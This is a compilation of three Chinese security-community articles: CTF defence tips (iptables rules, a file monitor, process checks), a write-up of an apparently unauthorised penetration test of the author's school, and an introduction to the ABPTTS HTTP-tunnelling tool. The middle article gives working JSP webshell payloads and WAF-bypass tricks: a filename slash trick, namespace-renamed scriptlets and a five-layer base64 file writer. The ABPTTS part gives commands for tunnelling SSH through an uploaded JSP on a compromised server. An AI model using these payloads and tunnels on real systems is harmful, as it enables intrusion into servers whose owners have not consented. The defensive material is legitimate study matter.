notifier = Notifier(wm, EventHandler())
wm.add_watch(path, mask,rec=True)
print '[+] Now Starting Monitor: %s'%(path)
while True:
try:
notifier.process_events()
if notifier.check_events():
notifier.read_events()
except KeyboardInterrupt:
notifier.stop()
break
if __name__ == "__main__":
parser = argparse.ArgumentParser(
usage="%(prog)s -w [path]",
description=('''
Introduce：Simple Directory Monitor! by ssooking''')
)
parser.add_argument('-w','--watch',action="store",dest="path",default="/var/www/html/",help="directory to watch,default is /var/www/html")
args=parser.parse_args()
Monitor(args.path)
关于pyinotify
库的用法不再赘述，可以看到我在上述代码中创建了一个事件监控处理的类EventHandler，在这个示例中，我们仅仅关注创建、删除、修改属性、移动操作事件，并且我定义了一个DeleteFileOrDir方法用于自动删除增加的目录或者文件。运行测试截图：
我们可以编写功能更加细化的程序，实现如：
监控文件变更，
禁止创建、修改、删除任何文件或目录，
自动删除新增文件，
把被修改的文件改回去,
删除畸形隐藏文件等功能。我们使用pyinstaller把我代码打包为linux的elf可执行文件。-F参数表示打包为独立可运行文件，命令执行完之后自动生成：build、dist文件夹和SimpleMonitor.spec文件，你可以在dist目录里找到生成的elf程序。
打包的文件在CTFDefense项目的Monitor目录下
**4\. 网络监控断异常连接**
linux安全防护一定少不了 iptables了，使用iptables需要有管理员权限。对于比赛环境，我们完全可以配置一个近乎苛刻的配置防火墙策略。
具体我们可以做哪些工作呢，举一些例子：
**（1）关闭所有网络端口，只开放一些比赛的必要端口，也可以防止后门的连接**
#开放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打开80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#开启多端口简单用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允许外部访问本地多个端口 如8080，8081，8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
**（2）限制ssh登陆，进行访问控制**
iptable -t filter -A INPUT -s 123.4.5.6 -p tcp --dport 22 -j DROP //禁止从123.4.5.6远程登陆到本机
iptables -A INPUT -s 123.4.5.6/24 -p tcp --dport 22 -j ACCEPT //允许123.4.5.6网段远程登陆访问ssh
**（3）限制IP连接数和连接速率**
我们可以限制IP的网络连接数和速度等，限制过快的连接频率，这样可以在一定程度上限制对方的扫描器。狠一点的话，甚至可以让对方只能以手工点网页的速度与访问+_+
#单个IP的最大连接数为 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#单个IP在60秒内只允许最多新建15个连接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允许外部访问本机80端口，且本机初始只允许有10个连接，每秒新增加2个连接，如果访问超过此限制则拒接 （此方式可以限制一些攻击）
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
再猥琐一点，可以定时断开已经建立的连接，让对方只能断断续续的访问~~
**（4）数据包简单识别，防止端口复用类的后门或者shell**
假设病毒木马程序通过22，80端口向服务器外传送数据，这种方式发向外发的数据不是我们通过访问网页请求而回应的数据包。我们可以禁止这些没有通过请求回应的数据包。
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEP
**（5）限制访问**
如果对方来势太凶，我们可以限制或者封杀他们的ip段。
iptable -t filter -A FORWARD -s 123.4.5.6 -d 123.4.5.7 -j DROP //禁止从客户机123.4.5.6访问123.4.5.7上的任何服务
#封杀123.4.5.6这个IP或者某个ip段
iptables -I INPUT -s 123.4.5.6 -j DROP
iptables -I INPUT -s 123.4.5.1/24 -j DROP
**（6）过滤异常报文**
iptables有一个TCP匹配扩展协议–tcp-flags，功能是过滤TCP中的一些包，比如SYN包，ACK包，FIN包，RST包等等。举个例子，我们知道SYN是建立连接，RST是重置连接，如果这两个同时出现，就知道这样的包是有问题的，应该丢弃。下面的例子是利用–tcp-flags参数，对一些包进行标识过滤，扔掉异常的数据包。
iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN #表示 SYN,FIN,ACK,RST的标识都检查，但只匹配SYN标识
iptables -A INPUT -p tcp --syn #匹配SYN标识位
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP #检查所有的标识位，匹配到FIN URG PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP #丢弃没标志位的包
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP #匹配到SYN ACK FIN URG的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST -j DROP #匹配到SYN ACK FIN RST的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,PSH -j DROP #匹配到SYN FIN PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST,PSH -j DROP #匹配到SYN FIN RST PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP #匹配到 SYN,RST的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP #匹配到 SYN,FIN的丢弃
**（7）防DDOS攻击**
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
-m limit: 启用limit扩展
–limit 20/minute: 允许最多每分钟10个连接
–limit-burst 100: 当达到100个连接后，才启用上述20/minute限制
丢弃陌生的TCP响应包,防止反弹式攻击
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP
更多的姿势，需要打开我们的脑洞了，下面是一个通用的firewall脚本，我们可以传到服务器上一键执行，相关参数可以查阅资料详细了解：
#!/bin/bash
#Allow youself Ping other hosts , prohibit others Ping you
iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP
iptables -A OUTPUT -p icmp --icmp-type 8 -s 0/0 -j ACCEPT
#Close all INPUT FORWARD OUTPUT, just open some ports
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
#Open sshiptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#Open port 80iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#Open multiport
#iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#Control IP connection
#The maximum number of connections for a single IP is 30iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#A single IP allows up to 15 new connections in 60 seconds
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#Prevent port reuse
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
#Filter abnormal packets
iptables -A INPUT -i eth1 -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
#Prevent DoS attacks
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
#Discard unfamiliar TCP response packs to prevent rebound attacks
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP
注意，对于不同的iptables版本，一些参数的用法可以会有略微的差异，使用时我们可能要根据需要进行修改。
**5\. 综合分析控阻溢出类攻击**
关于溢出类攻击，我还没有总结出一些很实用的姿势，这里提供一些思路。
一般来说，溢出攻击成功后，会建立shell通道和网络连接，我们可以配合前面提到的命令，从这两方面入手进行检测和阻隔：
（1）检测高权限的进程
（2）检测sh，bash等进程
（3）检测建立的网络连接
（4）检查开放的端口
例子：通过端口和bash发现可疑进程
如果我们怀疑某个进程正在是受到溢出攻击后创建的shell进程，我们可以分析这个进程是否有socket连接，linux中查看指定进程socket连接数的命令为：
ls /proc/<进程pid>/fd -l | grep socket: | wc -l
比如我们查看ssh进程的socket连接。如果我们检测的程序有socket连接，说明它正在进行网络通信，我们就需要进行进一步判断。
我们还可以检测可疑进程开启的管道。linux下查看进程管道数的命令类似：
ls /proc/<进程pid>/fd -l | grep pipe: | wc -l
典型的一个例子是：Apache模块后门mod_rootme，它复用了webserver的80端口，mod_rootme通过管道和bash交互数据，但是由于开启了额外的管道，我们从这个变化上便能察觉到。
详细内容可以参考： http://t.qq.com/p/t/330573116082464。
总体来说，我们主要可以关注进程情况和网络连接情况，综合分析进程，阻断溢出攻击创建的shel的。
**6\. 漏洞修复简单粗暴**
CTF比赛中修复漏洞主要就是为了防止其他队伍的入侵了。
**1\. 删站**
：如果赛组没有明确禁止，这是最粗暴的姿势，只留自己的webshell，参加过几场比赛确实遇到了这种尴尬的事情，web攻防最后都演变成了拼手速的“GetShell+留后门+删站”。
**2\. 删漏洞页面**
：大部分举办方还是会明确禁止删除网站的，通常赛组会定期访问网站主页（一般来说），从而确定网站是否正常运行。其实我们没必要删除整个网站，只要删掉有漏洞的页面就行了，比如删后台登录页面、注册页面、上传页面等等。
**3\. 破坏正常功能**
：如果明确不能删除任何页面，可以选择让这些漏洞点的功能函数（或者其依赖的功能函数）失效。比如上传点，如果考虑过滤挺麻烦，又不能删页面，那么我们可以找到这个漏洞网页，改掉或者删掉文件里对应的类似upload等这种功能调用函数。
上面这三种其实都算不上修补漏洞了，真实环境下哪能这么干。
**4\. 采用正常修补手段** ：规则限定很严的情况下，我们还是采用正常手法吧，修改服务配置、安装补丁、下载更新的软件版本、加过滤等等。
>>>>>_<<<<<<
谈到那个删站，我忍不住想吐槽几句，我个人是不赞成这种做法的，因为这种操作在比赛中很容易拉仇恨并且产生连锁反应，也不利于个人的进步。有些人认为：我先拿下这台服务器说明我有能力，你没进去就说明你没本事，所以我先进去删了站不让其他人进也无可厚非，有能耐你就先拿下它，那你删了我也没意见。也有人说，真正的对抗里，敌人不会对你仁慈～～没错，挺有道理的，而且强者也应该拥有发言权。但是我们不能只从一个角度考虑问题，换个角度去考虑，CTF竞赛虽然是向着真实的网络环境靠拢，但是它的根本目的是提高竞技者的安全技能和知识水平。对于大部分切磋竞技的玩家来说，参加比赛也都是为了让自己获得提高，大家在同一个平台上进行进行切磋对抗，认识到自己和对手身上的优点与不足，这才是竞技。但是这种行为其实从某种意义上来说已经破坏了比赛的公平性，毕竟如果是因为技术不到位，那当然没什么话说，但是如果网站删了，让别人发挥的地方都没有，这种切磋也没有意义。举个不太恰当的例子，这就像两个人打架，你说你比我强，咱们比比再说，但是你都不让我跟你打，这算什么。再换个角度，其实我一直坚信真正具有强者姿态的人，不畏惧挑战、不怕被人超越，不屑于通过这种手段巩固自己的地位。相反，我们只有将自己至于狂风大浪中，才能成长和蜕变，最终成为一个强者。
无论从什么角度考虑，我们应该敢于挑战自身、挑战别人，不断强大自己，不断去征服，无畏无惧、步履铿锵！
**7\. 安全软件锦上添花**
可以使用第三方软件的话，装个WAF，安全狗之类的吧。这个我没什么话要说，附个linux安全狗的链接吧：
安全狗linux版：<http://www.safedog.cn/website_safedog.html>
我们平时也可以搜集或者自己实现一些脚本或者工具备用。
这里有waf一枚：<http://hackblog.cn/post/75.html>
如果我们想给web目录文件添加自定义waf脚本，其实可以用一条命令解决,以php为例：
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('/tmp/waf.php');n/g"
命令的意思就是查找/var/www/html目录下所有php文件，在头部添加一句，用require函数引入/tmp/waf.php文件。因为sed命令利用
/ 区分文件中的原字符串和修改的字符串，所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义：'，命令转换过来就是这样：
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('/tmp/waf.php');n/g"
这样，再次打开时我们就会发现已经引入了自定义waf文件。
**8\. 我可能get了假的flag**
如果说很不幸，我们前面的关卡都被突破了（实际上我都感觉前面那些设置都有点“搅屎”的味道了，不过还是希望师傅们能一起来讨论讨论有没有什么骚姿势，以及绕过它们的方法）。假设真的被突破了，对于CTF线下赛来说，我们最终的目的都是拿到flag。通常我们会在服务器上执行类似于"getflag"命令，或者"curl"访问某个url获取flag，然后获取到一个字符串，然后在答题平台上提交这段字符串即可获取分数。就拿前之前的ISCC来说，这个也是我赛后想到的。这个getflag是一个elf的程序，在/usr/bin/下，顺手给下载了，有兴趣的同学可以去逆向一波。重点在这，有几次我getflag的时候因为webshell丢了，服务器显示了Error。后来想想，我们是不是可以故意利用这种报错来欺骗不细心的竞争对手呢，当然我不知道是不是已经有师傅们用了这个手法。这是模拟的效果：
怎样实现？比如我们可以添加alias别名，或者我们可以把这些命令更改或者替换掉，换成一些伪装命令程序。再换一层想想，接着上面的思路，如果我们替换或者伪装了系统命令，对方getshell之后，进来发现cd，ls等命令都没法用，会怎么样呢？然而这样会不会不太好～～
最后推荐一个感觉挺实用功能很强的远程连接管理工具，可以极大方便我们的工作：[MobaXterm](https://mobaxterm.mobatek.net/)。（不是打广告~）
它支持多种连接方式，可以拖拽进行文件管理。支持在打开的会话一键批量执行命令。
还有一个非常方便的ssh端口转发功能，支持本地、远程、动态转发。
还有很多其他功能貌似很厉害，不过我没用过，就不说了…
真不是打广告。
**三. 对CTF举办的一点小小建议**
如今CTF越来越火，对于这些比赛的举办方，我有着一些不成熟想法和小建议，如果您觉得有什么不合适的地方，纯当娱乐：
（1）扩展竞技形式：目前线下赛web攻防占绝大多数，有些小比赛甚至只有若干web服务器，上面放几个不同类型的站点，形式有些单一了，其实可以增加多种对抗模式，甚至可以让参赛选手走出比赛场地。去年曾有幸聆听了诸葛建伟博士关于打破XCTF现有格局的讲座，他提出了体系化攻防演练，认为CTF可以引入实地wifi渗透、门禁系统突破、无人机攻防、GPS信号对抗等，增加比赛多样性与趣味性，让线下赛不再只是局限于小小的机房~~
（2）重视安全分析与防护。安全不仅仅只是网络攻防对抗，数据分析、取证分析、应急响应、追踪溯源等技能也相当重要，并且在安全人才圈里这方面缺口也比较大。今年六月份，启明星辰主办的2017”信息安全铁人三项赛"（分为”个人逆向赛“、”数据分析赛“、”企业攻防赛“三个赛事），其中”数据分析赛“便是一个典型代表，参赛选手需要分析真实企业网络环境下受网络攻击的流量数据，从中找出攻击者、分析其网络攻击行为，如欺骗劫持、爆破、webshell连接操作等，找到并分析攻击者的后门或者恶意软件。这种模式，有助于参赛者接触到相对更加真实的网络攻击流量的对抗与防御。
（3）完善竞技模式的具体细节，尽量避免取巧或者粗暴姿势。比如拿修补漏洞举例子，现在CTF线下赛中绝大部分参赛者为了维持加固自己的shell，往往都会采用
**删除部分页面的方法，比如登陆、注册页面，因为采用正常打补丁、修改配置等操作都比较费时费事**
。但在比赛中这种方式是对于学习真正的安全加固、漏洞修补知识没有太多提高。玩CTF不应该仅仅为了比赛而比赛，或者只是为了拿个奖、拿几张证书，还是要注重从中学到点东西，不过有证书对以后就业还是有些帮助的。
虽然说这些会增加举办方的负担，给选手增加难度，但是这也是一种趋势。CTF必然要经历从普及到提高的转变，并且随着参赛选手水平的提高，我们确实需要一些更有意思的玩法，这是一个相互促进的关系。当然，对于入门级的CTF选手来说，题目难度过大反而会降低比赛体验，对于不同级别的玩家，可以设置不同级别的赛事。从形式上讲，像引入门禁系统突破、无人机攻防等，对于大部分CTF举办方来说实现起来有些难度，毕竟涉及到不同的环境、设备、人员维护等问题，所以这个不应该强求，但是对网络攻防来说增加如windows
服务器、邮件服务器、路由设备等还是可行的。以后的CTF规格和水平会越来越高，对于参赛选手的挑战难度也会越来越大，这对于举办方和选手来说都是挑战，但是挑战亦是机遇，我们应时刻准备好投入战斗！
**四. 最后的话**
虽说上面提到的这些姿势不可能让我们的靶机变得无懈可击，但是至少能在某种程度上提高它的防御值，希望能对大家有所帮助。最后，祝愿各位CTF参赛选手在比赛中勇创佳绩，同时也祝愿各单位的大佬们都能把CTF筹办的越来越好！ | 社区文章 |
## 前言
前几天对自己学校进行的一次渗透测试，由于深信服过于变态，而且拦截会直接封ip，整个过程有点曲折
期间进行了后缀名绕过，jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作
## 0x01 获取网站接口
主界面:
上传点:
由于该应用是内嵌企业微信的套皮Html，所以我们首先用Burp Suite抓包获取接口和cookie
任意文件上传:
文件名强制命名为code+学号，后缀为最后一次点号出现之后的字母
## 0x02 后缀名绕过
代码不限制后缀名，但是waf限制呀！
后缀名`jsp`，`jspx`会拦截，但是`jspp`，`jspxx`等不会拦截
所以要利用`windows特性`绕过，常规的绕过手法例如`末尾加点号`、`::$DATA`均无法绕过
经过fuzz，发现`正斜杠`可以绕过
## 0x03 内容绕过
常见的jsp标记均无法绕过
所以我们得绕过`JSP标记`检测，这里参考了`yzddmr6`师傅的两种 **[绕过方法](http://yzddmr6.com/posts/jsp-webshell-upload-bypass/)** ：
* jspEL表达式绕过
* jspx命名空间绕过
**第一种是利用`${}`标记**：
payload：`${Runtime.getRuntime().exec(request.getParameter("x"))}`
但深信服waf过滤了一句话，需要变形绕过
鄙人太菜了，不了解相关函数的变形绕过，所以选择第二种写法
**第二种是利用命名空间的特性** ：
参照yzddmr6师傅的图：
使用自定义的命名空间，替换掉`jsp`的关键字
将原本的`<jsp:scriptlet>`替换成`<自定义字符:scriptlet>`
这样waf的正则匹配不到`<jsp:scriptlet>`自然就会放行
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>
## 0x04 获取网站路径
这里我们不能用相对路径来写入webshell
因为`Tomcat`与`Apache`不同，根目录并不是以代码运行位置决定所在的目录，而是默认为`Tomcat/bin`作为根目录
# 获取当前的根目录
String path = System.getProperty("user.dir");
out.println(path);
# 获取web项目所在的目录
String path = application.getRealPath("test.jsp");
out.println(path);
所以写入shell的绝对路径应为`D:/tomcat8/webapps/declare/static/upload/test.jsp`
## 0x05 编码或加密绕过waf写入shell
菜鸡的payload：
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
一开始我是用两层base64编码，还是被检测了，经过fuzz发现五层编码即可绕过
鄙人太懒了，不想重新造轮子。如果各位师傅有时间的话，遇到这种waf建议用RSA、AES等加密算法绕过
成功getshell，System权限
看了一眼依赖，可能存在`log4j2`和`jackson`的RCE，留着下次当靶场继续测试
## 0x06 总结
深信服的waf算挺强了，而且也足够恶心，检测可疑行为直接封ip，光是fuzz就用掉了快30个ip了
学校其他站点有`thinkphp5.0.23 RCE`、`泛微8.0前台sql注入`的漏洞，但都有这个waf，实在没有耐心一个个fuzz
本菜鸡第一次写文，如有错误或建议欢迎指出，各位师傅们轻喷 | 社区文章 |
# A BLACK PATH TOWARD THE SUN － HTTP Tunnel 工具简介
|
##### 译文声明
本文是翻译文章，文章来源：同程安全应急响应中心
译文仅供参考，具体内容表达以及含义原文为准。
**Part One － 简介**
* * *
NCC Group 作为老牌的代码安全审计机构，在 OpenSSL HeartBleed（心脏出血漏洞）爆发之后为 OpenSSL
提供代码安全性的审计服务。同时他们在 Github 上也提供很多开源的工具和解决方案，从 [NCC Group
主页](https://github.com/nccgroup)可以看到很多超过 100+ star 的项目，而在最近 Black Hat US 的
Arsenal 展区他们带来了新的开源项目 [A Black Path Toward The
Sun](https://github.com/nccgroup/ABPTTS) （ABPTTS），一款用以在复杂网络环境下通过被控制的 Web
应用服务器打通 HTTP Tunnel 建立网络连接的工具。
在 ABPTTS 出现之前，已经有了 [netcat](http://netcat.sourceforge.net/)（TCP
端口转发）、[httptunnel](http://http-tunnel.sourceforge.net/)（TCP – over – HTTP）、
[tunna](https://github.com/SECFORCE/Tunna) （HTTP
Tunnel）、[reGeorg](https://github.com/sensepost/reGeorg)（Socks5）等类似的网络工具，而 NCC
Group 开发 ABPTTS 的目的将这些工具各自的优秀之处结合起来并简化成一个工具。 ABPTTS 主要针对的使用情况有两种：
* 在渗透过程中渗透者（下文简称：A）不能和 Web 服务器建立除了 HTTP 之外的其他类型连接。举个例子：A 从应用层控制了 Web 服务器，可以访问 Web 服务器的 TCP 的 443 端口并建立连接，但是其他类型的连接不能通过防火墙。
* A 虽然可以对被控制的 Web 服务器发起非 HTTP 协议之外的请求，并且这些请求或许可以通过防火墙抵达 Web 服务器， 但是 Web 服务器向外发起的只有 HTTP 连接可以直接通过防火墙。举个例子：A 想 SSH 登陆到 目标服务器，但是该 SSH 协议需要通过网络中部署的 TLS – Inspector，而 TLS – Inspector 会拒绝其他协议企图建立隧道的请求，因此 A 并没有办法直接建立起和 Web 服务器之间的 SSH 隧道。
**Part Two － 举个** **** ****
* * *
**现在我们假设一个真实的场景如下：**
* A 发现了一个可以直接 Getshell 任意文件上传，目标 Web 服务器使用的是 Apache Tomcat。
* Web 服务器处于公网，A 可以直接访问，但是除了 HTTP 连接之外的其他连接都被防火墙、路由器 ACL 表、负载均衡等过滤。
* Web 服务器所有协议的请求都需要经过上述防火墙、路由器 ACL 表等过滤，不能和外网建立任何直接连接。
* Web 服务器不向外网的 DNS 服务器发起 DNS 查询。
第二点使 A 没办法向目标服务器建立任何直连 Shell，而第三点则让 A 没办法和目标服务器建立反向 Shell，第四点则使 A 没办法和目标服务器建立
DNS 隧道。
在这样的复杂网络环境下如果不建立 HTTP 隧道，那么 A 只能通过 Webshell 获得的非（半）交互式 Shell
来逐条地执行命令，这样极为不便并且很多需要交互的软件不能运行，更不用说将 Web 服务器作为跳板使用 RDP 连接内网其他主机了。
这个时候 A 就可以通过 ABPTTS 建立起一个 HTTP Tunnel，而通过这个 HTTP Tunnel
攻击者可以直接访问到目标服务器所能访问到的内容，因为 A 和目标服务器通信是通过 HTTP Tunnel 符合防火墙等策略，能够通过防火墙等的过滤。
使用 ABPTTS 建立 HTTP Tunnel 在客户端和服务端都需要进行特定操作：
* A 在本机运行一个可以将发往目标服务器的 TCP 报文转换成特定格式 HTTP 请求的 Python 脚本，然后再将该 HTTP 请求发送给目标服务器。
* A 在目标服务器上传一个 JSP 脚本文件（当前环境为 Tomcat），这个脚本文件可以将 A 发起的 HTTP 请求还原成原 TCP 报文，并根据报文建立连接，将连接产生的响应 TCP 报文又重新转换成 HTTP 响应并通过 Web 应用返回给 A。
**具体步骤如下：**
1.A 在本机执行
python abpttsfactory.py -o tomcat_walkthrough
将会看到如下输出：
[2016-08-10 10:53:34.839592] ---===[[[ A Black Path Toward The Sun ]]]===---[2016-08-10 10:53:34.839674] --==[[ - Factory - ]]==--[2016-08-10 10:53:34.839706] Ben Lincoln, NCC Group[2016-08-10 10:53:34.839721] Version 1.0 - 2016-07-30[2016-08-10 10:53:34.841099] Output files will be created in "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough"[2016-08-10 10:53:34.841121] Client-side configuration file will be written as "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/config.txt"[2016-08-10 10:53:34.841137] Using "~/Desktop/Pentest/Python/ABPTTS/data/american-english-lowercase-4-64.txt" as a wordlist file[2016-08-10 10:53:34.849013] Created client configuration file "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/config.txt"[2016-08-10 10:53:34.851994] Created server file "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/abptts.jsp"[2016-08-10 10:53:34.853073] Created server file "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/abptts.aspx"[2016-08-10 10:53:34.853882] Created server file "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/war/WEB-INF/web.xml"[2016-08-10 10:53:34.854348] Created server file "~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/war/META-INF/MANIFEST.MF"[2016-08-10 10:53:34.855520] Prebuilt JSP WAR file: ~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/DroopyWhimsical.war[2016-08-10 10:53:34.855541] Unpacked WAR file contents: ~/Desktop/Pentest/Python/ABPTTS/tomcat_walthrough/war
可以看到在当前目录下生成了一个 tomcat_walkthrough 文件夹，而文件夹内有所有 ABPTTTS
支持的服务端脚本（JSP、AWAR、ASPX等，但是暂不支持 PHP）和对应的配置文件如下所示。
2.根据 Web 服务器的类型选择对应的服务端脚本并上传到 Web 服务器上，本例中则使用 JSP
脚本，上传到服务器后直接访问会出现如下界面，类似一串随机的英文 ＋ 数字，这就是服务端脚本对信息进行加密之后的结果，加解密方法具体可以参考
abptts.jsp 和 abpttsclient.py 中的代码。因为每次通过 abpttsfactory.py 产生的通信密钥是随机的，所以访问不同的
abptts.jsp 得到的字符串也都会不同。
3.看到上述字符串后可以确定服务端脚本正常工作，A 这时可以在本机运行
python abttsclient.py -c tomcat_walkthrough/config.txt -u http://x.x.x.x:8080/abptts.jsp -f 127.0.0.1:22222/127.0.0.1:22
这里 －u 指定对应服务端脚本的 URL；－f 指定对应的映射关系，可以抽象为
LOCAL_NETWORK_IP:LOCAL_PORT/REMOTE_NETWORK_IP:REMOTE_PORT。－c
指定的对应服务端脚本的配置，config.txt 里包含 HTTP Tunnel 各项配置内容，格式如下：
headerNameKey:::::::x-sourcing-unisex-extollingheaderValueKey:::::::6ivKbot3qLL4ATtoMWrS15T2pay5Q7bz/x3i8qA=encryptionKeyHex:::::::635587d56a6ecb687cc1b20f0aec4804.........
运行脚本后可以看到 HTTP Tunnel 已经打通，本地 22222 端口正在等待连接。
[2016-08-10 11:24:53.318090] ---===[[[ A Black Path Toward The Sun ]]]===---[2016-08-10 11:24:53.318125] --==[[ - Client - ]]==--[2016-08-10 11:24:53.318131] Ben Lincoln, NCC Group[2016-08-10 11:24:53.318137] Version 1.0 - 2016-07-30[2016-08-10 11:24:53.319952] Listener ready to forward connections from 127.0.0.1:22222 to 127.0.0.1:22 via http://x.x.x.x:8080/abptts.jsp[2016-08-10 11:24:53.319978] Waiting for client connection to 127.0.0.1:22222
4\. 此时便可以直接通过 HTTP Tunnel 进行 TCP-Over-HTTP 通信，建立 SSH 连接如下。
ssh [email protected] -p 22222 -i ~/.ssh/xxx/id_rsa
运行脚本后可以看到 HTTP Tunnel 已经打通，本地 22222 端口正在等待连接。
**
**
**Part Three － 讨论**
* * *
其实在 ABPTTS 出现之前就已经有不少类似且好用的工具，那么为什么还要重复造轮子呢？官方手册中指出，开发 ABPTTS 的主要目标有如下几个：
* 让工具的部署需要尽可能的简单 － 在服务器上增加部分依赖或服务代码即可部署，或者更简单的，直接上传一个文件即可。
* HTTP Tunnel 流量需要能够抵抗指纹检测 － HTTP Tunnel 中的流量需要看上去够 “随机”，每次转换后的 HTTP 流量中不能有特征字符。
* 配置文件的生成需要尽可能的自动化 － 往往使用这类的软件，因为需要对转换后的 HTTP 流量进行加密，所以往往配置文件中需要配置各种各样的内容，如：AES 密钥、客户端 Token、伪造请求头等等，而且这些配置文件的内容往往是使用者并不真正关心的，也不会去对他们进行修改，所以配置文件需要可以自动生成。
* HTTP Tunnel 流量需要进行加密 － 很多协议本身对传输的敏感数据不进行加密，如果不加密再流入 HTTP Tunnel 中那么很可能导致信息泄漏或者是指纹明显，ABPTTS 最后选择了对流量进行 AES－128 非对称方式进行加密。
* 可以多个客户端共用一个 HTTP Tunnel 服务端 － 前文有说到往往为了进入复杂网络环境需要占用一整个窗口来进行交互操作，而这种情况下往往需要多个客户端窗口，在可以共用一个 HTTP Tunnel 服务端的情况下，减少了使用者需要进行的操作。
顺道一提，由于 HTTP Tunnel 确实不是一项新的技术之前也有类似成形的项目，使用的比较多的有 Tunna 和 HTTPTunnel
这两个，试着了解了一下这两个项目，下面做出一些对比：
[Tunna](https://github.com/SECFORCE/Tunna)
* 优点：支持 aspx／jsp／php 三种类型的服务端脚本，部署方便；客户端脚本没有使用第三方库纯净 Python 可以运行。
